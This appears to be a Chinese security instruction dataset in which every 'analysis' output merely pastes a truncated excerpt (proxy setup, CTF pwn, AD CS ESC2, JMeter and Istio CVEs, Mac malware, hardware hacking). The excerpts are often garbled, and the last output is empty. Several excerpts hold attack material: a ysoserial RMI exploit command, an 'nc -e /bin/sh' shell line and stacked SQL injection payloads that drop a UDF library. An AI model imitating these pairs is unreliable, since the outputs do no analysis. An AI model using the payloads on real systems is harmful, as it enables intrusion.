需要设置浏览器代理为8080才能捕获数据包抓取https 包需要浏览器访问 http://burp 下载证书并导入 有时电脑本身需要设置代理才能访问外网则需要设置 Burp options--connections--upstream proxy servers 手机端 设置 WIFI 的代理为电脑burp 监听的IP和端口手机端访问 http://burp 点击CA Certificate下载证书到手机上cacert.der 将后缀改成.cer才可以安装华为手机需要安装为VPN 应用支持才能解析https 3.1. Charles 手机端使用charles 抓包的设置如下 - proxy -> proxy settings http proxy 设置监听的端口勾选 enable transparent http proxying - help ->ssl proxying ->install charles root certificate on a mobile device or remote browser - 手机wifi 手工设置proxy ip和端口为 charles 监听的ip:port浏览器访问chls.pro 下载证书进行安装

 4. Layer 子域名/IP段收集同时可过滤过出存活主机
 5. Fiddler 常用的抓包工具有XSS自动化扫描插件 打开fiddle默认会设置浏览器的代理为fiddle 监听的8888端口而fiddle 自己则从系统代理出口也可以自己设置一个代理如 http=10.2.2.1:80出去需要设置一下才会拦截数据包否则只是快照一下 注意pc 端软件发出的http/https请求也会被捕获但私有协议即应用层自定义包体是抓不到的可以用wireshark 抓到此类的包 客户端软件发出的http/https请求有两种情况一种类似内嵌了一个浏览器来解析html执行js事件等比如一个功能点进来的原始页面抓包中可以搜到此功能点的一些关键字往往就是以内嵌浏览器的方式执行js 来完成此功能直接把入口页面复制到浏览器访问然后console 搜索keyword 另一种是客户端直接请求的服务端cgi这在进来的原始页面甚至没有入口是找不到功能点的关键字的
 6. Sqlmap.py 数据库注入神器
 7. owasp 漏洞扫描全集 [Vulnerability_Scanning_Tools](https://www.owa


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### Thread Local Storage(TLS)概述 线程本地存储(TLS)用于在线程启动前对特定线程数据进行初始化, 因为每个进程都包含至少1个线程, 在主线程运行前初始化数据. 初始化操作可以通过指定一个已经复制到动态分配内存中去的静态缓冲区, 和/或通过在回调函数数组中执行代码, 来初始化动态内存内容. 经常是由于滥用回调函数数组而造成问题. 在运行时, TLS回调函数数组内容可以被修改或增加, 新加入或新修改的回调函数会使用新地址进行调用. 回调函数的数目也没有限制. 数组的扩展操作可以用以下代码完成: ``` asm l1: mov d [offset cbEnd], offset l2 ret l2: ... ``` 当l1处的回调返回时就会继续调用l2的回调函数 > todo: continue to finish it


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# arraymaster1 PWN ## Description: > Would you mind briefly testing our new integer array implementation? A binary file was attached. ## Solution: Let's see what the program does: ``` root@kali:/media/sf_CTFs/35c3ctf/arraymaster1# ./arraymaster1 We implemeted int8, int16, int32, and int64 arrays in C. However, we didn't have time to test them properly. Here is a little test suite. Hopefully you won't find any exploitable bugs! You can perform the following operations: [1] list Print a summary of all arrays [2] init <ID> <type> <l> Create an array with ID {A-J} of type {8, 16, 32, 46} and length l [3] delete <ID> Delete the array with ID {A-J} [4] set <ID> <i> <value> Set the value at index i of array ID {A-J} [5] get <ID> <i> Get the value at index i of array ID {A-J} [6] quit Leave the progam because there are no bugs anyway Enter the command you want to execute. [1] list [2] init <ID> <type> <l> [3] delete <ID> [4] set <ID> <i> <value> [5] get <ID> <i> [6] quit > > init A 8 3 Enter the command you want to execute. [1] list [2] init <ID> <type> <l> [3] delete <ID> [4] set <ID> <i> <value> [5] get <ID> <i> [6] quit > set A 0 99 Enter the command you want to execute. [1] list [2] init <ID> <type> <l> [3] delete <ID> [4] set <ID> <i> <value> [5] get <ID> <i> [6] quit > get A 0 99 Enter the command you want to execute. [1] list [2] init <ID> <type> <l> [3] delete <ID> [4] set <ID> <i> <value> [5] get <ID> <i> [6] quit > list [A] {type: 8, length: 3} [B] [C] [D] [E] [F] [G] [H] [I] [J] ``` We can allocate, delete, set and get arrays. After diving into the disassembly, it looks like the program has a global array `arrays` of size 80, which can contain 10 pointers. ``` [0x00400aa2]> fs symbols [0x00400aa2]> f~arrays 0x006020c0 80 obj.arrays ``` Each pointer is to a metadata struct of the following format: ``` +----------------+ 0 | num_elements | -> Number of elements in the actual array +----------------+ 8 | type | -> Type of the array elements (8 / 16 / 32 / 64) +-----


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

针对域证书服务的攻击2- ESC2 0x00 前言 在ESC1的分析中我们遇到了一个问题就是Certify这个工具带了2个DLL很不方便刚好今天看 twitter看到这么一个项目https://github.com/CCob/dnMerge使用NuGet搜dnMerge加入到项目 中再release生成就能编译成一个EXE了很是简单需要注意的就是只有release生成可以用 debug是不能用的 第二件事是一个题外话我由于本地网络问题我环境域控修改了IP导致域中机器Ping域控域名的时 候返回127.0.0.1这是我没有按照正规流程修改域控IP细节看https://www.huaweicloud.com/article s/a7f1f7d57357f9c62042707d09ae5f20.html后面我按照正规流程修改问题被修复域中真的是不 能乱动一点小改动就会出问题这也是为什么域中很多就是默认设置管理员不敢乱配置的原因吧 回归今天的ESC2ESC2和ESC1比较相似大部分前提条件相同具体条件如下 低权限用户我们这儿使用普通域用户可以有权限注册证书 管理员审批被关闭 签名没有被要求认证 低权限用户可以使用危害模板 以上都是ESC1的条件下面一条是和ESC1不同的 证书模板被设置成Any Purpose EKU或者 no EKU 而在ESC1中开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT的要求就不需要了 这种情况下我们能干什么呢先搭建测试环境 0x01 危害环境搭建 因为和ESC1的变化很小因此我们直接复制ESC1模板并改名为ESC2然后修改应用程序策略为任何 目的 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 1 / 4 - Welcome to www.red-team.cn 然后把ESC1的使用者名称改回默认值 0x02 利用测试 我们还是使用ESC1的测试步骤这里就不详细截图了不记得的同学可以翻看ESC1的测试结果可想 而知 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 2 / 4 - Welcome to www.red-team.cn 由于我们使用者名称改回了默认值即使在使用certify获取证书的时候使用了altname并设定一个域 管理用户名证书获取不会报错但是这个证书并不能使用这个域管理登录系统没有采纳altname的 值而是使用当前用户win101709如下图用Active Directory 中信息生成因此最后的结构就是 无法登录域控 0x03 总结 所以这个ESC2体感上作用太弱了根据作者的描述大致意思是当使用Any Purpose的时候表示 攻击者可以获取客户端认证服务器认证代码签名等等证书换句话说就是能获取任何目的的证书 然后作者就没说啥了我想说这儿应该有个但是但是TM的没有提权啊不是说ESC都是提权么我 win101709的用户权限没变啊虽然由于错误配置导致我这儿用户可以搞到各种证书但是用户权限 没有变化从ESC2被作者在06/22/21二次编辑修改过我斗胆猜测是作者开始也搞错了但是已经分类 成ESC2了就留着吧最后作者补充道我们可以使用这些证书干其他的事情比如在SAML, AD FS, or IPSec等网络服务上利用具体在这些服务上能够出现什么利用场景就需要大家挖掘了ESC2总体来 说就是当前用户拥有了请求各种证书的能力具体发挥场景还需要自己思考 除Any Purpose以外另外一个是no EKUs就是应用程序策略为空在为空的时候攻击可以签署一个 从属CA证书在这个从属CA中攻击者可以任意修改EKU和其他属性但是这个从属CA证书默认是不 被信任的也就是在NTAuthCertificates的cACertificate中没有这个从属证书那么就没法登录域控 最后感觉和Any Purpose一样就是可以获取各种证书的能力 总体来说这个ESC2有点扯淡不过后面还有很多内容说不定后面有给出从属CA的利用场景我们回 顾下ESC2和ESC1的区别就是使用者名称能不能自定义的问题能自定义就能伪造成域管理员因此这个 配置是能够提权的关键 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 3 / 4 - Welcome to www.red-team.cn Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 4 / 4 - Welcome to www.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Jmeter RMI 反序列化命令执行漏洞CVE-2018-1297 Apache JMeter是美国阿帕奇Apache软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件其2.x版本和3.x版本中存在反序列化漏洞攻击者可以利用该漏洞在目标服务器上执行任意命令 ## 漏洞环境 运行漏洞环境 ``` docker compose up -d ``` 运行完成后将启动一个RMI服务并监听1099端口 ## 漏洞复现 直接使用ysoserial即可进行利用 ``` java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success' ``` 我们使用的是BeanShell1这条利用链使用`docker compose exec jmeter bash`进入容器可见`/tmp/success`已成功创建 ![](1.png) 反弹shell: ![](2.png)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

author: lazydog@noahlab Go template 遇上 yaml 反序列化 CVE-2022-21701 分析 前 本对 CVE-2022-21701 istio 提权漏洞进分析介绍 go template 遇到 yaml 反序列化两者相 结合时造成的漏洞类似于 模版注 但不是单利了模版解析引擎特性是结合 yaml 解 析后造成了变量覆盖最后使 istiod gateway controller 创建预期的 k8s 资源 k8s validation 在对漏洞根因展开分析前我们先介绍 k8s 如何对各类资源中的属性进有效性的验证 先是常的 k8s 资源如 Pod 它使了 apimachinery 提供的 validation 的功能其中最常 的 pod name 就使遵守 DNS RFC 1123 及 DNS RFC 1035 验证 label 的实现其他些值会 由在 controller 中实现 validation 来验证这样的好处是可以帮助我们避免部分的 bug 甚是 些安全漏洞 const dns1123LabelFmt string = "[a-z0-9]([-a-z0-9]*[a-z0-9])?" const DNS1123LabelMaxLength int = 63 var dns1123LabelRegexp = regexp.MustCompile("" + dns1123LabelFmt + "$") func IsDNS1123Label(value string) []string { var errs []string if len(value) > DNS1123LabelMaxLength { errs = append(errs, MaxLenError(DNS1123LabelMaxLength)) } if !dns1123LabelRegexp.MatchString(value) { errs = append(errs, RegexError(dns1123LabelErrMsg, dns1123LabelFmt, "my-name", "123-abc")) } return errs } k8s 还提供了 CRD (Custom Resource Deﬁnition) 定义资源来便扩展 k8s apiserver, 这部分 也可以使 OpenAPI schema 来规定资源中输输出数据类型及各种约束限制除此之外还提供 了 x-kubernetes-validations 的功能户可以使 CEL 扩展这部分的约束限制 下的 yaml 就描述了定时任务创建 Pod 的 CRD使正则验证了 Cron 表达式 author: lazydog@noahlab apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: name: crontabs.stable.example.com spec: group: stable.example.com versions: - name: v1 served: true storage: true schema: # openAPIV3Schema is the schema for validating custom objects. openAPIV3Schema: type: object properties: spec: type: object properties: cronSpec: type: string pattern: '(\d+|\*)(/\d+)?(\s+(\d+|\*)(/\d+)?){4}$' image: type: string replicas: type: integer minimum: 1 maximum: 10 scope: Namespaced names: plural: crontabs singular: crontab kind: CronTab shortNames: - ct 另外还有类值是法不便验证的各个资源的注解字段 annotations 及 labels注解会 被各 controller 或 webhook 动态的去添加 根因分析 istio gateway controller 使 informer 机制 watch 对应资源 GVR 的 k8s apiserver 的端点在资 源变更时做出相应的动作当户提交 kind 为 Gateway 的资源时istio gateway controller 会对 Gateway 资源进解析处理并转化为 Service 及 D


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# shell 编程 --- **shell 和 shell 脚本的区别** - shell 是指一种应用程序这个应用程序提供了一个界面用户通过这个界面访问操作系统内核的服务Ken Thompson 的 sh 是第一种 Unix ShellWindows Explorer 是一个典型的图形界面 Shell - shell 脚本shell script是一种为 shell 编写的脚本程序业界所说的 shell 通常都是指 shell 脚本但是shell 和 shell script 是两个不同的概念 **常见问题** - Linux 下运行 bash 脚本显示": /usr/bin/env: "bash\r": 没有那个文件或目录 这主要是因为 bash 后面多了 \r 这个字符的原因.在 linux 终端下,输出 \r 会什么都不显示,只是把光标移到行首.于是终端虽然输出了 /usr/bin/env bash,但是碰到\r后,光标会被移到行首,接着输出了:No such file or directory 把前面的覆盖掉了.于是出现了那个莫名其妙的出错信息了 一般来说这是下载在 windows 下载 github 脚本后会遇到的问题,下载压缩包,在 linux 中解压,或直接使用 linux 下载 或者用 vim 打开 sh 脚本文件, 重新设置文件的格式 ```vim :set ff=unix :wq! ``` - linux 运行 shell 出现未预期的符号 `$'do\r'' 附近有语法错误 看上面应该是语法错误,但无论怎么改还是报错,经过一番探索发现,自己的文件是从 windows 里面拷贝到 linux 的,可能是两种系统格式不一样. 解决方法如下: 1. 打开 notepad++ 编辑 .sh 文件 2. notepad++ 右下角将 windows 模式改为 linux 模式 **source 命令与 `.` 的区别** - source 命令是 bash shell 的内置命令,从 C Shell 而来. - source 命令的另一种写法是点符号,用法和 source 相同,从 Bourne Shell 而来. - source 命令可以强行让一个脚本去立即影响当前的环境. - source 命令会强制执行脚本中的全部命令,而忽略文件的权限. - source 命令通常用于重新执行刚修改的初始化文件,如 .bash_profile 和 .profile 等等. - source 命令可以影响执行脚本的父 shell 的环境,而 export 则只能影响其子 shell 的环境. - source a.sh 同直接执行 ./a.sh 有什么不同呢,比如你在一个脚本里 `export $KKK=111` ,如果你用 ./a.sh 执行该脚本,执行完毕后,你运行 `echo $KKK` ,发现没有值,如果你用 `source` 来执行 ,然后再 `echo` ,就会发现 KKK=111.因为调用 ./a.sh 来执行 shell 是在一个子 shell 里运行的,所以执行后,结果并没有反应到父 shell 里,不过 source 不同,他就是在本 shell 中执行的,所以能看到结果. **sast 工具** - https://github.com/koalaman/shellcheck **资源教程** - [dylanaraps/pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible#get-the-username-of-the-current-user) - [wangdoc/bash-tutorial](https://github.com/wangdoc/bash-tutorial) - Bash 教程 - [穷佐罗的Linux书](https://zorrozou.github.io/) **相关文章** - [10分钟学会Bash调试](https://mp.weixin.qq.com/s/MQjqu55BN6LqSsIAvevRQA) - [如何并发执行Linux命令](https://mp.weixin.qq.com/s/L3u2e-GKl_yL3saJMMFazA) - [终于知道 Shell 中单引号双引号的区别了](https://mp.weixin.qq.com/s/tyHIlRsg1rYjw-E_h-C2rA) - [Bash编程基础知识](https://mp.weixin.qq.com/s/tSWnoO3IAET3C7iYY7ns6Q) - [SHELL编程之执行过程](https://zorrozou.gi


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

One-Liners to Rule Them All egypt wvu What this is Bash basics  Minor portability considerations One-liners and demos of stuff we find to be useful @egyp7 @wvuuuuuuuuuuuuu What this isnt Linux system administration  Although there is some amount of overlap Reading the man page to you @egyp7 @wvuuuuuuuuuuuuu `man bash` is cavernous There are resources to help From the abstract Sometimes you just need to pull out the third column of a CSV file. Sometimes you just need to sort IP addresses. Sometimes you have to pull out IP addresses from the third column and sort them, but only if the first column is a particular string and for some reason the case is random. Up, edit, enter, repeat cat file cat file | grep open cat file | grep -i open cat file | grep -i open | cut -d, -f3 grep -i open | cut -d, -f3 awk -F, 'tolower($1) ~ /open/ { print $3 }' file | sort -V Conventions Commands are usually suffixed with a man(1) section Almost all of what were talking about here is man section 1 But theres naming overlaps with syscalls (man section 2), C functions (man section 3), and occasionally config files (man section 5) Core Concepts  Pipes and redirection  Variables and substitution  Standard tools  History expansion  Brace expansion  Tilde expansion Pipes and Redirection The following slides are for the folks playing at home. All of this is happening in a shell. Pay no attention to the man behind the curtain. Pipes and Redirection  echo wut | cat  echo wut > /tmp/wut  cat /tmp/wut  cat < /tmp/wut File descriptors: &0 &1 &2 &n nc -e /bin/sh [...] exec 2>&1 exec 3<>/dev/tcp/10.1.1.1/80;echo $'GET / HTTP/1.0\n' >&3;cat <&3 Standards grep(1), sed(1), cut(1), sort(1), awk(1) Builtins -- echo, test, read, while, for grep Searches in Text Regular expressions are tricky, but you can learn the basics quickly. A large portion of regexes involve these three things:  .* any number of characters   anchor at beginning  $ anchor at end grep '500.*Chrome' /var/log/apache2/error.log sed is an


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Advanced MySQL Exploitation Muhaimin Dzulfakar Defcon 2009  Las Vegas 1 Who am I Muhaimin Dzulfakar Security Consultant Security-Assessment.com 2 SQL Injection An attack technique used to exploit web sites that construct SQL statement from user input Normally it is used to read, modify and delete database data In some cases, it is able to perform remote code execution 3 What is a stacked query ? Condition where multiple SQL statements are allowed. SQL statements are separated by semicolon Stack query commonly used to write a file onto the machine while conducting SQL Injection attack Blackhat Amsterdam 2009, Bernando Damele demonstrated remote code execution performed through SQL injection on platforms with stacked query Today I will demonstrate how to conduct remote code execution through SQL injection without stacked query MySQL-PHP are widely use but stacked query is not allowed by default to security reason 4 Abusing stacked queries on MySQL query.aspx?id=21; create table temp(a blob); insert into temp values (0x789c414141)-- query.aspx?id=21; update temp set a = replace (a, 414141, query.aspx?id=21; update temp set a = replace (a, 414141, 9775..71)-- query.aspx?id=21; select a from temp into dumpfile /var/lib/mysql/lib/udf.so-- query.aspx?id=21; create function sys_exec RETURNS int SONAME 'udf.so-- 5 Stacked query table ASP.NET ASP PHP MySQL Supported Not supported Not Supported MySQL Supported Not supported Not Supported MSSQL Supported Supported Supported Postgresql Supported Supported Supported 6 Remote code execution on MySQL-PHP Traditionally, simple PHP shell is used to execute command Command is executed as a web server user only Weak and has no strong functionality We need a reliable shell! Metasploit contains variety of shellcodes Meterpreter shellcode for post exploitation process VNC shellcode for GUI access on the host 7 File read/write access on MySQL-PHP platform SELECT .. LOAD_INFILE is used to read file SELECT .. INTO OUTFILE/DUMPFILE is used to


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: switch.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClas


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Reverse&Engineering&& Mac&Malware&& Sarah&Edwards&& @iamevltwin& mac4n6.com& & whoami& Senior&Digital&Forensics&Analyst&with&Harris&CorporaAon&  Computer&Intrusions,&Criminal,&Counter&Terrorism,&Counter&Intelligence&  Mac,&Windows,&*nix,&Mobile,&Malware,&anything&&&everything& Government&Contractor&N&Embedded&FullAme&with&Federal&Law& Enforcement& General&Forensics&Nerd&&&Mac&Fan&Girl& Author&&&Instructor&for&SANS&FOR518&&Mac&Forensic&Analysis&  www.sans.org/course/macNforensicNanalysis& Scope&&&Agenda& Malware&Triage& ~20%&StaAc,&~80%&Dynamic& No&Assembly& Agenda:&  StaAc&Analysis&  File&Types&  Analysis&Tools&  Dynamic&Analysis&  VirtualizaAon&  ApplicaAon&Tracing&  Analysis&Tools&  Analysis&Examples& StaAc&Analysis& Locate&&&Extract&the&Executable&Files& File&Types:&  ApplicaAon&Bundles&  MachNO&  PKG&Files& Tools:&  MachOView&  lipo&  Strings&||&srch_strings&  nm&  codesign&  Hopper& Locate&the&Malware& ApplicaAon&Bundle&(*.app)& PKG&File& MachNO&Executable& & Oﬃce&Document& ZIP&Archive& JAR&File& others& ApplicaAon&Bundle& Directory& Contents:&  Info.plist&(required)&  ConﬁguraAon&InformaAon&  Executable&(required)&  Located&anywhere&in&bundle&  MacOS&Directory&  Executable&may&be&in&here&too!&  Resources&Directory&  SupporAng&Files& ApplicaAon&Bundle& Crisis&Sample&  Executables:&  IZsROY7X.-MP!  lUnsA3Ci.Bz7!  mWgpX-al.8Vq!  Kernel&Extension&=& 6EaqyFfo.zIK.kext! PKG&File& eXtensible&ARchiver& (XAR)&Archive& Flashback&used&a&fake& FlashPlayerN11N macos.pkg&Installer& PKG&Files& List&&&Extract&the&Malware& PKG&Files& List&&&Extract&the&Malware& PKG&Files& List&&&Extract&the&Malware&  *N1&(First&unar&N&gzip)&  *N1N1&(Second&unar&N&cpio)& MachNO&Binaries&  Executable&Format&used&on&OS&X&  Universal&(Fat)&Binaries&  File&Signatures:&  0xCAFEBABE&&Fat&binary&  0xFEEDFACE&&32Nbit&  0xFEEDFACF&&64Nbit&  0xCEFAEDFE&&32Nbit,&Lirle&Endian&  0xCFFAEDFE&&64Nbit,&Lirle&Endian& 32NBit/Lirle&Endian& MachNO&Binaries& Universal/Fat&Binaries& Intel&32&&&64Nbit& Universal&&Powe


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

THESE ARENT THE PERMISSIONS YOURE LOOKING FOR Anthony Lineberry David Luke Richardson Tim Wyatt DefCon 18 AGENDA  Android Internals Overview  Security/Permission Model  Why Ask For Permission When You Can Ask For Forgiveness?  Log-Cat  Our Inside Mole  The Ultimate Permission (Yes, were talking about root)  Mitigation ANDROID INTERNALS Diving Into the Belly of the Beast ANDROID MANIFEST  AndroidManifest.xml  Every application must have one  Declares the package name, a unique identiﬁer for every app  Describes applications components (Activities, Services, BroadcastReceivers, etc)  Declares requested permissions needed to access protected APIs (If only there were a way to get around that...)  Declares permissions other applications are required to have to interact with applications components ACTIVITY  A way for users to interact with the application  Composed of Views:  Button  TextView  ImageView  etc... ACTIVITY  Managed as an Activity stack  New/foreground activity on top of stack. In running/active state  Previous Activities below in paused state  Removed from stack when Activity ﬁnishes ACTIVITY  An application can start another applications Activity!  Activity runs in its applications process.  Callee doesnt necessarily have access to Activitys data  Permission attribute in manifest can restrict who can start the permission INTENT  An abstract description of an operation to be performed  Simple IPC for applications  Intents can be sent with data INTENT  Can be used to start an Activity with startActivity()  Intents can be broadcast system wide with sendBroadcast()  Communicate with a background Service  Two main components:  Action  Data (URI: http:, content:, geo:, etc...) Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com")); startActivity(myIntent); BROADCAST RECEIVER  Receives an Intent  Can be created dynamically with registerBroadcast() or declared in the manifest with the <receiver> tag  Receives two types of broadcasts:


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Nathan Seidle SparkFun Electronics Combos in 45 minutes or less!* *You know what these mean 2002 Animation: How combination safe works Power! Motor with 8400 tick encoder Servo with feedback Arduino Handle puller Magnets Erector set (Actobotics) The super freaking amazing nautilus gear that made this all work Come back here spring Standard servo with analog feedback hack Very fancy string Go! Btn Servo and feedback Motor Driver Beep! Current Sensor Motor control and feedback Display RedBoard = Arduino 12V External Hard Drive Power Supply Home Photogate Problem Domain: 1003 combinations 10 seconds per test 115 days (worst case) Exploits Combinations: 1003 combinations Exploits Combinations: 1003 combinations 333 combinations = 4.15 days Exploits Combinations: 1003 combinations 333 combinations = 4.15 days Disc C has 12 indents 332 * 12 = 1.5 days Exploits Exploits Disc C: Outer diameter: 2.815 (55.5mm) Width of solution slot: 0.239 Width of 11 indents: 0.249 +/- 0.002 17.69 (Circumference) / 8400 ticks 0.0021 / tick ~5 ticks smaller Exploits Combinations: 1003 combinations 333 combinations = 4.15 days Disc C has 12 indents 332 * 12 = 1.5 days Disc C has a skinny indent 332 * 1 = 3 hours Exploits Test Time: Resetting Dials = 10s / test Exploits Test Time: Resetting Dials = 10s / test Set testing = 4s / test 1.2 hours Exploits Luck Test Time: Resetting Dials = 10s / test Set testing = 4s / test 1.2 hours 45 minutes! Animation: How Set Testing Works How do I protect myself!? One of these is not like the others... The S&G 6741  can be dialed up to 1.25 digits above or below the actual set number and still open, essentially giving you a 2.5 digit window to hit. The S&G 6730, however, has only a +/- .5 dialing tolerance, essentially giving a 1 digit window to hit. While many locksmiths might prefer the S&G 6730, it can be notoriously difficult to open and very unforgiving to human error. In addition, slight alterations to the lock (for example, if the dial or the dial ring


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

云@金山 Cloud at KINGSOFT --一种不同的思路做云安全 A different thought in cloud-based security 演讲人: CardMagic (孙明焱) 金山网络 KINGSOFT Agenda 金山云体系 KINGSOFT cloud artitecture 金山云防御 KINGSOFT cloud defense 金山云查杀 KINGSOFT cloud-based anti-virus 关于演讲者 About the speaker 孙明焱 ID: CardMagic -现任金山网络产品总监负责金山毒霸相关开发 current product director of KINGSOFT, who is responsible for the development of 金山毒霸 -曾任奇虎360云查杀产品负责人 previous chief developer of Qihoo 360 Cloud-based anti-virus -曾任Trend Micro技术经理 previous technology manager of Trend Micro -曾任NEC开发工程师 precious programmer of NEC -Antirootkit工具DarkSpy的作者(被趋势科技收购 creator of DarkSpy,a tool of Antirootkit. (purchased by Trend) -精通各类安全开发曾负责开发过各类云安全产品 specialize in various security development. Develop abundant security products. 金山云体系-信息安全问题的源头 KINGSOFT cloud architecture  the cause of security problem 病毒 Virus 病毒作者+产业链 Virus Creator+ Crimeware Industry 病毒技术 Virus technique  杀毒软件 Anti-Virus Software 反病毒厂商 Anti-Virus Company 反病毒技术 Anti-Virus technique  对抗 金山云体系-云端智能鉴定技术 KINGSOFT cloud architecture: Cloud intelligence of Forensics 海量样本 Enormous Samples 样本相关信息 Information from Samples 数据挖掘技术 Data Mining technique 10年病毒技术跟进 和积累的经验 Ten-years knowledge of Virus technique and accumulated experience. 金山云体系-常规云安全 KINGSOFT cloud architecture The security of regular cloud? 病毒作者 Creator of Virus 1 用户1 User 1 后台自动系统 Automatic backend system 2 3 4 特征自动发布 Automatic signatures publishing 5 中毒啦中毒啦 Infected by Virus 互联网 Internet 放个木马赚钱罗 Make money from malwares 用户2 User 2 云防住啦 Safe! Protected by Cloud 金山云体系-黑色产业链解决(1) KINGSOFT cloud architecture: Solution of Crimeware industry 病毒作者 Creator of Virus 1 用户 User 鹰眼系统 Hawkeye Monitoring system 后台自动系统 Automatic backend system 2 3 4 特征自动发布 Automatic signatures publishing 5 小子一直盯着你呢  I WATCH YOU !  哦有个木马有 金山云支持我不怕 互联网 Interne t 放个木马赚钱罗 Make money from malwares 金山云体系-黑色产业链解决(2) KINGSOFT cloud architecture: Solution of Crimeware industry  为什么要产业链 How does knowing crimeware industry assist us in Virus detection? - 产业链做为直接鉴定器鉴定文件与URL


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

INTRODUCTION TO HARDWARE HACKING HOW YOU TOO CAN FIND A DECADE OLD BUG IN WIDELY DEPLOYED DEVICES AVAYA 9600 DESKPHONE A CASE STUDY WHO AM I ?  PHILIPPE LAULHERET  SENIOR SECURITY RESEARCHER FOR MCAFEE'S ADVANCED THREAT RESEARCH  @PHLAUL  2 YEARS EMBEDDED SECURITY, 4 YEARS C++ DEV WHY SHOULD YOU CARE ABOUT HARDWARE HACKING? AVAYA 9600 SERIES IP DESKPHONE  2ND LARGEST VOIP SOLUTION PROVIDER  90% OF FORTUNE 100  9600 SERIES STARTED IN 2006, SOON EOL PRIOR ART  LOTS OF DOCUMENTATION ABOUT HARDWARE HACKING (SEE LAST SLIDE FOR LINKS)  INTRODUCTION TO ARM  HARDWARE HACKING BLOGS (ROUTERS, IOT, )  ACCESSIBLE INTRODUCTION TO ELECTRONICS (ADAFRUIT, SPARKFUN)  EMBEDDED CAPTURE THE FLAG  HARDWARE HACKING VILLAGE    RED BALLOON SECURITY FOUND 2 RCE IN THE SAME SERIES OF PHONE  STEPPING P3WNS, RSA 2014 THE NEXT 40 MINUTES  USE THE PHONE AS A SPRINGBOARD TO TALK ABOUT HARDWARE HACKING  SHARE THE HOW, WHY, WHAT IF, FAILED ATTEMPTS, ETC.  IF I CAN DO IT, SO CAN YOU! HOW DID THIS PROJECT START? FIRST STEP: RECON  IF IT HAS RADIO (WIFI, BLUETOOTH,) IT WILL BE ON THE FCC WEBSITE Source: https://fccid.io/TYM-9641GS (not our phone model, but part of the same 96xx series) Source: https://fccid.io/TYM-9641GS FIRST STEP: RECON  IF IT HAS RADIO (WIFI, BLUETOOTH,) IT WILL BE ON THE FCC WEBSITE  FIND ONLINE MANUALS, MARKETING MATERIAL, ETC. FIRST STEP: RECON  IF IT HAS RADIO (WIFI, BLUETOOTH,) IT WILL BE ON THE FCC WEBSITE  FIND ONLINE MANUALS, MARKETING MATERIAL, ETC.  FIND FORUM OF USERS (SYSADMIN, )  LOOK ONLINE FOR FIRMWARE DOWNLOADS WHAT DO WE DO NOW? LETS VOID WARRANTIES! IDENTIFYING THE MAIN COMPONENTS  USUALLY WE CAN FIND  CPU (MAYBE MORE THAN ONE) OR SYSTEM ON CHIP (SOC)  RAM  ON BOARD STORAGE (FLASH CHIP, EEPROM, SDCARD, )  WIFI/BLUETOOTH MODULE (MAYBE UNDER A METALLIC SHIELD)    COMPONENTS HAVE LABELS PRINTED ON THEM  GOOGLE THE LABEL TO FIND MORE INFORMATION  DATASHEET TELL YOU HOW TO USE THE COMPONENT  SOMETIMES DATASHEET ARE NOT PUBLICLY AVAILABLE RAM CPU ??? UART UART Keyed RJ4


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

